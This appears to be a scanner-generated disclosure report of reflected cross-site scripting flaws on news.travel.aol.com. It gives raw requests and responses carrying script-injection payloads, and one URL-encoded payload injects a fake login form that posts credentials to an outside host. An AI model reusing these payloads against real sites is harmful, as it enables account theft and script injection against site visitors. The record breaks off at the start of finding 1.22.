<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphprotocol. ...[SNIP]... <div%20style=540f1><script>alert(1)</script>e4e5fd8a94" /> ...[SNIP]...
|
1.11. http://news.travel.aol.com/2010/11/15/what-happens-if-you-decline-a-full-body-scan/ [34581">
previous
next
Summary
Severity: |
High |
Confidence: |
Certain |
Host: |
http://news.travel.aol.com |
Path: |
/2010/11/15/what-happens-if-you-decline-a-full-body-scan/ |
Issue detail
The value of the 34581"><script>alert(1)</script><div%20style request parameter is copied into the value of an HTML tag attribute which is not encapsulated in any quotation marks. The payload 13d48><script>alert(1)</script>856c5a47dbd was submitted in the 34581"><script>alert(1)</script><div%20style parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /2010/11/15/what-happens-if-you-decline-a-full-body-scan/?34581"><script>alert(1)</script><div%20style=.position:absolute;top:225px;left:126px;height=100px;width=100px;z-index:1;background-color:13d48><script>alert(1)</script>856c5a47dbd HTTP/1.1 Accept: image/jpeg, image/gif, image/pjpeg, application/x-ms-application, application/xaml+xml, application/x-ms-xbap, */* Accept-Language: en-US User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E) Accept-Encoding: gzip, deflate Proxy-Connection: Keep-Alive Host: news.travel.aol.com
|
Response
HTTP/1.1 200 OK Date: Fri, 19 Nov 2010 22:50:30 GMT Server: Apache/2.2 Cache-Control: no-cache, must-revalidate, post-check=0, pre-check=0 Set-Cookie: comment_by_existing=deleted; expires=Thu, 19-Nov-2009 22:50:29 GMT; path=/ Content-Type: text/html Content-Length: 97244
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphprotocol. ...[SNIP]... <div%20style=.position:absolute;top:225px;left:126px;height=100px;width=100px;z-index:1;background-color:13d48><script>alert(1)</script>856c5a47dbd" /> ...[SNIP]...
|
1.12. http://news.travel.aol.com/2010/11/15/what-happens-if-you-decline-a-full-body-scan/ [34581">HOYT.LLC.XSS.PoC.11.17.2010.NEWS.TRAVEL.AOL.COM parameter]
previous
next
Summary
Severity: |
High |
Confidence: |
Certain |
Host: |
http://news.travel.aol.com |
Path: |
/2010/11/15/what-happens-if-you-decline-a-full-body-scan/ |
Issue detail
The value of the 34581"><script>alert(1)</script>HOYT.LLC.XSS.PoC.11.17.2010.NEWS.TRAVEL.AOL.COM request parameter is copied into the HTML document as plain text between tags. The payload dcc33<script>alert(1)</script>50362bce9f5 was submitted in the 34581"><script>alert(1)</script>HOYT.LLC.XSS.PoC.11.17.2010.NEWS.TRAVEL.AOL.COM parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /2010/11/15/what-happens-if-you-decline-a-full-body-scan/?34581"><script>alert(1)</script>HOYT.LLC.XSS.PoC.11.17.2010.NEWS.TRAVEL.AOL.COM=1dcc33<script>alert(1)</script>50362bce9f5 HTTP/1.1 Accept: image/jpeg, image/gif, image/pjpeg, application/x-ms-application, application/xaml+xml, application/x-ms-xbap, */* Accept-Language: en-US User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E) Accept-Encoding: gzip, deflate Proxy-Connection: Keep-Alive Host: news.travel.aol.com
|
Response
HTTP/1.1 200 OK Date: Fri, 19 Nov 2010 22:50:33 GMT Server: Apache/2.2 Cache-Control: no-cache, must-revalidate, post-check=0, pre-check=0 Set-Cookie: comment_by_existing=deleted; expires=Thu, 19-Nov-2009 22:50:32 GMT; path=/ Content-Type: text/html Content-Length: 97009
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphprotocol. ...[SNIP]... </script>HOYT.LLC.XSS.PoC.11.17.2010.NEWS.TRAVEL.AOL.COM=1dcc33<script>alert(1)</script>50362bce9f5" /> ...[SNIP]...
|
1.13. http://news.travel.aol.com/2010/11/15/what-happens-if-you-decline-a-full-body-scan/ [34581">HOYT.LLC.XSS.PoC.11.17.2010.NEWS.TRAVEL.AOL.COM%3C%64%69%76%20%73%74%79%6C%65%3D%201D%70%6F%73%69%74%69%6F%6E%3A%61%62%73%6F%6C%75%74%65%3B%74%6F%70%3A%32%32%35%70%78%3B%6C%65%66%74%3A%31%32%36%70%78%3B%68%65%69%67%68%74%3D%31%30%30%70%78%3B%77%69%64%74%68%3D%31%30%30%70%78%3B%7A%2D%69%6E%64%65%78%3A%31%3B%62%61%63%6B%67%72%6F%75%6E%64%2D%63%6F%6C%6F%72%3A%23%46%46%33%33%30%30%2033%3E%3C%66%6F%72%6D%20%61%63%74%69%6F%6E%3D%201D%68%74%74%70%73%3A%2F%2F%69%64%70%2E%73%65%63%75%72%65%70%61%79%6E%65%74%2E%6E%65%74%2F%73%68%6F%70%70%65%72%5F%6E%65%77%2E%61%73%70%78%3F%63%69%3D%31%30%35%33%30%26%70%72%6F%67%5F%69%64%3D%34%35%39%34%36%39%26%73%70%6B%65%79%3D%53%50%53%57%4E%45%54%2D%43%4F%52%50%57%45%42%31%31%35%201D%3E%55%73%65%72%6E%61%6D%65%3A%3C%62%72%3E%3C%69%6E%70%75%74%20%74%79%70%65%3D%201D%74%65%78%74%201D%20%6E%61%6D%65%3D%201D%75%73%65%72%201D%3E%3C%62%72%3E%50%61%73%73%77%6F%72%64%3A%3C%62%72%3E%3C%69%6E%70%75%74%20%74%79%70%65%3D%201D%74%65%78%74%201D%20%6E%61%6D%65%3D%201D%70%61%73%73%201D%3E%3C%62%72%3E%3C%69%6E%70%75%74%20%74%79%70%65%3D%201D%73%75%62%6D%69%74%201D%20%76%61%6C%75%65%3D%201D%4C%6F%67%6F%6E%201D%3E%3C%2F%66%6F%72%6D%3E%3C%2F%64%69%76%3E parameter]
previous
next
Summary
Severity: |
High |
Confidence: |
Certain |
Host: |
http://news.travel.aol.com |
Path: |
/2010/11/15/what-happens-if-you-decline-a-full-body-scan/ |
Issue detail
The value of the 34581"><script>alert(1)</script>HOYT.LLC.XSS.PoC.11.17.2010.NEWS.TRAVEL.AOL.COM%3C%64%69%76%20%73%74%79%6C%65%3D%201D%70%6F%73%69%74%69%6F%6E%3A%61%62%73%6F%6C%75%74%65%3B%74%6F%70%3A%32%32%35%70%78%3B%6C%65%66%74%3A%31%32%36%70%78%3B%68%65%69%67%68%74%3D%31%30%30%70%78%3B%77%69%64%74%68%3D%31%30%30%70%78%3B%7A%2D%69%6E%64%65%78%3A%31%3B%62%61%63%6B%67%72%6F%75%6E%64%2D%63%6F%6C%6F%72%3A%23%46%46%33%33%30%30%2033%3E%3C%66%6F%72%6D%20%61%63%74%69%6F%6E%3D%201D%68%74%74%70%73%3A%2F%2F%69%64%70%2E%73%65%63%75%72%65%70%61%79%6E%65%74%2E%6E%65%74%2F%73%68%6F%70%70%65%72%5F%6E%65%77%2E%61%73%70%78%3F%63%69%3D%31%30%35%33%30%26%70%72%6F%67%5F%69%64%3D%34%35%39%34%36%39%26%73%70%6B%65%79%3D%53%50%53%57%4E%45%54%2D%43%4F%52%50%57%45%42%31%31%35%201D%3E%55%73%65%72%6E%61%6D%65%3A%3C%62%72%3E%3C%69%6E%70%75%74%20%74%79%70%65%3D%201D%74%65%78%74%201D%20%6E%61%6D%65%3D%201D%75%73%65%72%201D%3E%3C%62%72%3E%50%61%73%73%77%6F%72%64%3A%3C%62%72%3E%3C%69%6E%70%75%74%20%74%79%70%65%3D%201D%74%65%78%74%201D%20%6E%61%6D%65%3D%201D%70%61%73%73%201D%3E%3C%62%72%3E%3C%69%6E%70%75%74%20%74%79%70%65%3D%201D%73%75%62%6D%69%74%201D%20%76%61%6C%75%65%3D%201D%4C%6F%67%6F%6E%201D%3E%3C%2F%66%6F%72%6D%3E%3C%2F%64%69%76%3E request parameter is copied into the HTML document as plain text between tags. The payload e09a7<script>alert(1)</script>56807fab0de was submitted in the 34581"><script>alert(1)</script>HOYT.LLC.XSS.PoC.11.17.2010.NEWS.TRAVEL.AOL.COM%3C%64%69%76%20%73%74%79%6C%65%3D%201D%70%6F%73%69%74%69%6F%6E%3A%61%62%73%6F%6C%75%74%65%3B%74%6F%70%3A%32%32%35%70%78%3B%6C%65%66%74%3A%31%32%36%70%78%3B%68%65%69%67%68%74%3D%31%30%30%70%78%3B%77%69%64%74%68%3D%31%30%30%70%78%3B%7A%2D%69%6E%64%65%78%3A%31%3B%62%61%63%6B%67%72%6F%75%6E%64%2D%63%6F%6C%6F%72%3A%23%46%46%33%33%30%30%2033%3E%3C%66%6F%72%6D%20%61%63%74%69%6F%6E%3D%201D%68%74%74%70%73%3A%2F%2F%69%64%70%2E%73%65%63%75%72%65%70%61%79%6E%65%74%2E%6E%65%74%2F%73%68%6F%70%70%65%72%5F%6E%65%77%2E%61%73%70%78%3F%63%69%3D%31%30%35%33%30%26%70%72%6F%67%5F%69%64%3D%34%35%39%34%36%39%26%73%70%6B%65%79%3D%53%50%53%57%4E%45%54%2D%43%4F%52%50%57%45%42%31%31%35%201D%3E%55%73%65%72%6E%61%6D%65%3A%3C%62%72%3E%3C%69%6E%70%75%74%20%74%79%70%65%3D%201D%74%65%78%74%201D%20%6E%61%6D%65%3D%201D%75%73%65%72%201D%3E%3C%62%72%3E%50%61%73%73%77%6F%72%64%3A%3C%62%72%3E%3C%69%6E%70%75%74%20%74%79%70%65%3D%201D%74%65%78%74%201D%20%6E%61%6D%65%3D%201D%70%61%73%73%201D%3E%3C%62%72%3E%3C%69%6E%70%75%74%20%74%79%70%65%3D%201D%73%75%62%6D%69%74%201D%20%76%61%6C%75%65%3D%201D%4C%6F%67%6F%6E%201D%3E%3C%2F%66%6F%72%6D%3E%3C%2F%64%69%76%3E parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /2010/11/15/what-happens-if-you-decline-a-full-body-scan/?34581"><script>alert(1)</script>HOYT.LLC.XSS.PoC.11.17.2010.NEWS.TRAVEL.AOL.COM%3C%64%69%76%20%73%74%79%6C%65%3D%201D%70%6F%73%69%74%69%6F%6E%3A%61%62%73%6F%6C%75%74%65%3B%74%6F%70%3A%32%32%35%70%78%3B%6C%65%66%74%3A%31%32%36%70%78%3B%68%65%69%67%68%74%3D%31%30%30%70%78%3B%77%69%64%74%68%3D%31%30%30%70%78%3B%7A%2D%69%6E%64%65%78%3A%31%3B%62%61%63%6B%67%72%6F%75%6E%64%2D%63%6F%6C%6F%72%3A%23%46%46%33%33%30%30%2033%3E%3C%66%6F%72%6D%20%61%63%74%69%6F%6E%3D%201D%68%74%74%70%73%3A%2F%2F%69%64%70%2E%73%65%63%75%72%65%70%61%79%6E%65%74%2E%6E%65%74%2F%73%68%6F%70%70%65%72%5F%6E%65%77%2E%61%73%70%78%3F%63%69%3D%31%30%35%33%30%26%70%72%6F%67%5F%69%64%3D%34%35%39%34%36%39%26%73%70%6B%65%79%3D%53%50%53%57%4E%45%54%2D%43%4F%52%50%57%45%42%31%31%35%201D%3E%55%73%65%72%6E%61%6D%65%3A%3C%62%72%3E%3C%69%6E%70%75%74%20%74%79%70%65%3D%201D%74%65%78%74%201D%20%6E%61%6D%65%3D%201D%75%73%65%72%201D%3E%3C%62%72%3E%50%61%73%73%77%6F%72%64%3A%3C%62%72%3E%3C%69%6E%70%75%74%20%74%79%70%65%3D%201D%74%65%78%74%201D%20%6E%61%6D%65%3D%201D%70%61%73%73%201D%3E%3C%62%72%3E%3C%69%6E%70%75%74%20%74%79%70%65%3D%201D%73%75%62%6D%69%74%201D%20%76%61%6C%75%65%3D%201D%4C%6F%67%6F%6E%201D%3E%3C%2F%66%6F%72%6D%3E%3C%2F%64%69%76%3E=1e09a7<script>alert(1)</script>56807fab0de HTTP/1.1 Accept: image/jpeg, image/gif, image/pjpeg, application/x-ms-application, application/xaml+xml, application/x-ms-xbap, */* Accept-Language: en-US User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E) Accept-Encoding: gzip, deflate Proxy-Connection: Keep-Alive Host: news.travel.aol.com
|
Response
HTTP/1.1 200 OK Date: Fri, 19 Nov 2010 22:50:38 GMT Server: Apache/2.2 Cache-Control: no-cache, must-revalidate, post-check=0, pre-check=0 Set-Cookie: comment_by_existing=deleted; expires=Thu, 19-Nov-2009 22:50:37 GMT; path=/ Content-Type: text/html Content-Length: 101862
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphprotocol. ...[SNIP]... 1%6D%65%3D%201D%70%61%73%73%201D%3E%3C%62%72%3E%3C%69%6E%70%75%74%20%74%79%70%65%3D%201D%73%75%62%6D%69%74%201D%20%76%61%6C%75%65%3D%201D%4C%6F%67%6F%6E%201D%3E%3C%2F%66%6F%72%6D%3E%3C%2F%64%69%76%3E=1e09a7<script>alert(1)</script>56807fab0de" /> ...[SNIP]...
|
1.14. http://news.travel.aol.com/2010/11/15/what-happens-if-you-decline-a-full-body-scan/ [34581">HOYT.LLC.XSS.PoC.11.17.2010.NEWS.TRAVEL.AOL.COM
previous
next
Summary
Severity: |
High |
Confidence: |
Certain |
Host: |
http://news.travel.aol.com |
Path: |
/2010/11/15/what-happens-if-you-decline-a-full-body-scan/ |
Issue detail
The value of the 34581"><script>alert(1)</script>HOYT.LLC.XSS.PoC.11.17.2010.NEWS.TRAVEL.AOL.COM<div%20style request parameter is copied into the name of an HTML tag. The payload 445b4><script>alert(1)</script>c53df9003a7 was submitted in the 34581"><script>alert(1)</script>HOYT.LLC.XSS.PoC.11.17.2010.NEWS.TRAVEL.AOL.COM<div%20style parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /2010/11/15/what-happens-if-you-decline-a-full-body-scan/?34581"><script>alert(1)</script>HOYT.LLC.XSS.PoC.11.17.2010.NEWS.TRAVEL.AOL.COM<div%20style=445b4><script>alert(1)</script>c53df9003a7 HTTP/1.1 Accept: image/jpeg, image/gif, image/pjpeg, application/x-ms-application, application/xaml+xml, application/x-ms-xbap, */* Accept-Language: en-US User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E) Accept-Encoding: gzip, deflate Proxy-Connection: Keep-Alive Host: news.travel.aol.com
|
Response
HTTP/1.1 200 OK Date: Fri, 19 Nov 2010 22:50:15 GMT Server: Apache/2.2 Cache-Control: no-cache, must-revalidate, post-check=0, pre-check=0 Set-Cookie: comment_by_existing=deleted; expires=Thu, 19-Nov-2009 22:50:14 GMT; path=/ Content-Type: text/html Content-Length: 97055
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphprotocol. ...[SNIP]... <div%20style=445b4><script>alert(1)</script>c53df9003a7" /> ...[SNIP]...
|
1.15. http://news.travel.aol.com/2010/11/15/what-happens-if-you-decline-a-full-body-scan/ [34581">HOYT.LLC.XSS.PoC.11.17.2010.NEWS.TRAVEL.AOL.COM
previous
next
Summary
Severity: |
High |
Confidence: |
Certain |
Host: |
http://news.travel.aol.com |
Path: |
/2010/11/15/what-happens-if-you-decline-a-full-body-scan/ |
Issue detail
The value of the 34581"><script>alert(1)</script>HOYT.LLC.XSS.PoC.11.17.2010.NEWS.TRAVEL.AOL.COM<div%20style request parameter is copied into the value of an HTML tag attribute which is not encapsulated in any quotation marks. The payload e2d2e><script>alert(1)</script>d1f68c79379 was submitted in the 34581"><script>alert(1)</script>HOYT.LLC.XSS.PoC.11.17.2010.NEWS.TRAVEL.AOL.COM<div%20style parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /2010/11/15/what-happens-if-you-decline-a-full-body-scan/?34581"><script>alert(1)</script>HOYT.LLC.XSS.PoC.11.17.2010.NEWS.TRAVEL.AOL.COM<div%20style=.position:absolute;top:225px;left:126px;height=100px;width=100px;z-index:1;background-color:e2d2e><script>alert(1)</script>d1f68c79379 HTTP/1.1 Accept: image/jpeg, image/gif, image/pjpeg, application/x-ms-application, application/xaml+xml, application/x-ms-xbap, */* Accept-Language: en-US User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E) Accept-Encoding: gzip, deflate Proxy-Connection: Keep-Alive Host: news.travel.aol.com
|
Response
HTTP/1.1 200 OK Date: Fri, 19 Nov 2010 22:50:21 GMT Server: Apache/2.2 Cache-Control: no-cache, must-revalidate, post-check=0, pre-check=0 Set-Cookie: comment_by_existing=deleted; expires=Thu, 19-Nov-2009 22:50:20 GMT; path=/ Content-Type: text/html Content-Length: 97388
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphprotocol. ...[SNIP]... <div%20style=.position:absolute;top:225px;left:126px;height=100px;width=100px;z-index:1;background-color:e2d2e><script>alert(1)</script>d1f68c79379" /> ...[SNIP]...
|
1.16. http://news.travel.aol.com/2010/11/15/what-happens-if-you-decline-a-full-body-scan/ [name of an arbitrarily supplied request parameter]
previous
next
Summary
Severity: |
High |
Confidence: |
Certain |
Host: |
http://news.travel.aol.com |
Path: |
/2010/11/15/what-happens-if-you-decline-a-full-body-scan/ |
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c56a1"><script>alert(1)</script>139c06a1c87 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /2010/11/15/what-happens-if-you-decline-a-full-body-scan/?34581&c56a1"><script>alert(1)</script>139c06a1c87=1 HTTP/1.1 Host: news.travel.aol.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: comment_by_existing=deleted;
|
Response
HTTP/1.1 200 OK Date: Fri, 19 Nov 2010 22:55:31 GMT Server: Apache/2.2 Cache-Control: no-cache, must-revalidate, post-check=0, pre-check=0 Set-Cookie: comment_by_existing=deleted; expires=Thu, 19-Nov-2009 22:55:30 GMT; path=/ Keep-Alive: timeout=5, max=999998 Connection: Keep-Alive Content-Type: text/html Content-Length: 96770
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphprotocol. ...[SNIP]... <meta property="og:url" content="http://news.travel.aol.com/2010/11/15/what-happens-if-you-decline-a-full-body-scan/?34581&c56a1"><script>alert(1)</script>139c06a1c87=1" /> ...[SNIP]...
|
1.17. http://news.travel.aol.com/2010/11/15/what-happens-if-you-decline-a-full-body-scan/ [ncid parameter]
previous
next
Summary
Severity: |
High |
Confidence: |
Certain |
Host: |
http://news.travel.aol.com |
Path: |
/2010/11/15/what-happens-if-you-decline-a-full-body-scan/ |
Issue detail
The value of the ncid request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8d0ce"><script>alert(1)</script>fc5ac591a00 was submitted in the ncid parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /2010/11/15/what-happens-if-you-decline-a-full-body-scan/?ncid=AOLCOMMtravsharartl00018d0ce"><script>alert(1)</script>fc5ac591a00 HTTP/1.1 Host: news.travel.aol.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: comment_by_existing=deleted;
|
Response
HTTP/1.1 200 OK Date: Fri, 19 Nov 2010 22:50:13 GMT Server: Apache/2.2 Cache-Control: no-cache, must-revalidate, post-check=0, pre-check=0 Set-Cookie: comment_by_existing=deleted; expires=Thu, 19-Nov-2009 22:50:12 GMT; path=/ Keep-Alive: timeout=5, max=999986 Connection: Keep-Alive Content-Type: text/html Content-Length: 96826
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphprotocol. ...[SNIP]... <meta property="og:url" content="http://news.travel.aol.com/2010/11/15/what-happens-if-you-decline-a-full-body-scan/?ncid=AOLCOMMtravsharartl00018d0ce"><script>alert(1)</script>fc5ac591a00" /> ...[SNIP]...
|
1.18. http://news.travel.aol.com/2010/11/15/what-happens-if-you-decline-a-full-body-scan/2 [name of an arbitrarily supplied request parameter]
previous
next
Summary
Severity: |
High |
Confidence: |
Certain |
Host: |
http://news.travel.aol.com |
Path: |
/2010/11/15/what-happens-if-you-decline-a-full-body-scan/2 |
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d0833"><script>alert(1)</script>0fc70464cf3 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /2010/11/15/what-happens-if-you-decline-a-full-body-scan/2?d0833"><script>alert(1)</script>0fc70464cf3=1 HTTP/1.1 Host: news.travel.aol.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: comment_by_existing=deleted;
|
Response
HTTP/1.1 200 OK Date: Fri, 19 Nov 2010 22:50:45 GMT Server: Apache/2.2 Cache-Control: no-cache, must-revalidate, post-check=0, pre-check=0 Set-Cookie: comment_by_existing=deleted; expires=Thu, 19-Nov-2009 22:50:44 GMT; path=/ Keep-Alive: timeout=5, max=999998 Connection: Keep-Alive Content-Type: text/html Content-Length: 97039
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphprotocol. ...[SNIP]... <meta property="og:url" content="http://news.travel.aol.com/2010/11/15/what-happens-if-you-decline-a-full-body-scan/2?d0833"><script>alert(1)</script>0fc70464cf3=1" /> ...[SNIP]...
|
1.19. http://news.travel.aol.com/2010/11/15/what-happens-if-you-decline-a-full-body-scan/3 [name of an arbitrarily supplied request parameter]
previous
next
Summary
Severity: |
High |
Confidence: |
Certain |
Host: |
http://news.travel.aol.com |
Path: |
/2010/11/15/what-happens-if-you-decline-a-full-body-scan/3 |
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload fd847"><script>alert(1)</script>ef87fa0bd5e was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /2010/11/15/what-happens-if-you-decline-a-full-body-scan/3?fd847"><script>alert(1)</script>ef87fa0bd5e=1 HTTP/1.1 Host: news.travel.aol.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: comment_by_existing=deleted;
|
Response
HTTP/1.1 200 OK Date: Fri, 19 Nov 2010 22:50:30 GMT Server: Apache/2.2 Cache-Control: no-cache, must-revalidate, post-check=0, pre-check=0 Set-Cookie: comment_by_existing=deleted; expires=Thu, 19-Nov-2009 22:50:29 GMT; path=/ Keep-Alive: timeout=5, max=999962 Connection: Keep-Alive Content-Type: text/html Content-Length: 99707
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphprotocol. ...[SNIP]... <meta property="og:url" content="http://news.travel.aol.com/2010/11/15/what-happens-if-you-decline-a-full-body-scan/3?fd847"><script>alert(1)</script>ef87fa0bd5e=1" /> ...[SNIP]...
|
1.20. http://news.travel.aol.com/2010/11/15/what-happens-if-you-decline-a-full-body-scan/4 [name of an arbitrarily supplied request parameter]
previous
next
Summary
Severity: |
High |
Confidence: |
Certain |
Host: |
http://news.travel.aol.com |
Path: |
/2010/11/15/what-happens-if-you-decline-a-full-body-scan/4 |
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9b5b5"><script>alert(1)</script>b56d2787c01 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /2010/11/15/what-happens-if-you-decline-a-full-body-scan/4?9b5b5"><script>alert(1)</script>b56d2787c01=1 HTTP/1.1 Host: news.travel.aol.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: comment_by_existing=deleted;
|
Response
HTTP/1.1 200 OK Date: Fri, 19 Nov 2010 22:50:27 GMT Server: Apache/2.2 Cache-Control: no-cache, must-revalidate, post-check=0, pre-check=0 Set-Cookie: comment_by_existing=deleted; expires=Thu, 19-Nov-2009 22:50:26 GMT; path=/ Keep-Alive: timeout=5, max=999956 Connection: Keep-Alive Content-Type: text/html Content-Length: 100202
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphprotocol. ...[SNIP]... <meta property="og:url" content="http://news.travel.aol.com/2010/11/15/what-happens-if-you-decline-a-full-body-scan/4?9b5b5"><script>alert(1)</script>b56d2787c01=1" /> ...[SNIP]...
|
1.21. http://news.travel.aol.com/2010/11/15/what-happens-if-you-decline-a-full-body-scan/5 [name of an arbitrarily supplied request parameter]
previous
next
Summary
Severity: |
High |
Confidence: |
Certain |
Host: |
http://news.travel.aol.com |
Path: |
/2010/11/15/what-happens-if-you-decline-a-full-body-scan/5 |
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e7eee"><script>alert(1)</script>545a167299 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /2010/11/15/what-happens-if-you-decline-a-full-body-scan/5?e7eee"><script>alert(1)</script>545a167299=1 HTTP/1.1 Host: news.travel.aol.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: comment_by_existing=deleted;
|
Response
HTTP/1.1 200 OK Date: Fri, 19 Nov 2010 22:50:38 GMT Server: Apache/2.2 Cache-Control: no-cache, must-revalidate, post-check=0, pre-check=0 Set-Cookie: comment_by_existing=deleted; expires=Thu, 19-Nov-2009 22:50:37 GMT; path=/ Keep-Alive: timeout=5, max=999989 Connection: Keep-Alive Content-Type: text/html Content-Length: 102144
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphprotocol. ...[SNIP]... <meta property="og:url" content="http://news.travel.aol.com/2010/11/15/what-happens-if-you-decline-a-full-body-scan/5?e7eee"><script>alert(1)</script>545a167299=1" /> ...[SNIP]...
|
1.22. http://news.travel.aol.com/2010/11/15/what-happens-if-you-decline-a-full-body-scan/90 [name of an arbitrarily supplied request parameter]
previous
next
Summary
Severity: |
High |
Confidence: |
Certain |
Host: |
http://news.travel.aol.com |
Path: |
/2010/11/15/what-happens-if-you-decline-a-full-body-scan/90 |
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 220bf"><script>alert(1)</script>0cd508178f9 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
